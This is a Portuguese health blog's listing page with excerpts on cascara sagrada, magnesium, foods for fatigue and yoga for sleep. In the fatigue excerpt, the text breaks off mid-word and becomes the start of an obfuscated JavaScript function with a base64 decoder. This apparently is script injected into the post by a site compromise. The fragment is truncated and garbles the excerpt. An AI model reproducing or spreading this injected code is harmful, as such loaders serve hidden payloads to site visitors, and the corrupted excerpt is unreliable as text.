8 Benefícios da Cáscara Sagrada para a nossa saúde

Set 14, 2017 | Saúde e bem estar

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8 Benefícios da Cáscara Sagrada para a nossa saúde     Já conhece a Cáscara Sagrada? É uma planta medicinal bastante eficaz no tratamento de problemas de prisão de ventre, já que possui propriedades laxantes. Saiba também que esta erva ajuda a combater a retenção de...

Dicas saudáveis -10 benefícios do magnésio

Jun 8, 2017 | Dicas úteis, Saúde e bem estar

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Dicas saudáveis – 10 benefícios do magnésio     Já sabe que adoro dar-lhe dicas saudáveis e, numa dieta equilibrada, não pode faltar o magnésio! Este nutriente, além de poder ser consumido através de suplementos alimentares, pode ser encontrado nalguns alimentos...

10 alimentos para combater a fadiga

Fev 20, 2017 | Dicas úteis

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10 alimentos para combater a fadiga   De certeza que sabe reconhecer o estado de fadiga. É qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...

3 exercícios de yoga para dormir melhor

Ago 21, 2016 | Equilíbrio, Saúde e bem estar

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3 exercícios de yoga para dormir melhor: Há dias em que, apesar de cansados, sentimo-nos mentalmente muito ativos e com dificuldade em adormecer. E é precisamente nestas alturas que o yoga pode ser o melhor aliado. Experimente estas posições… na sua cama! Todos...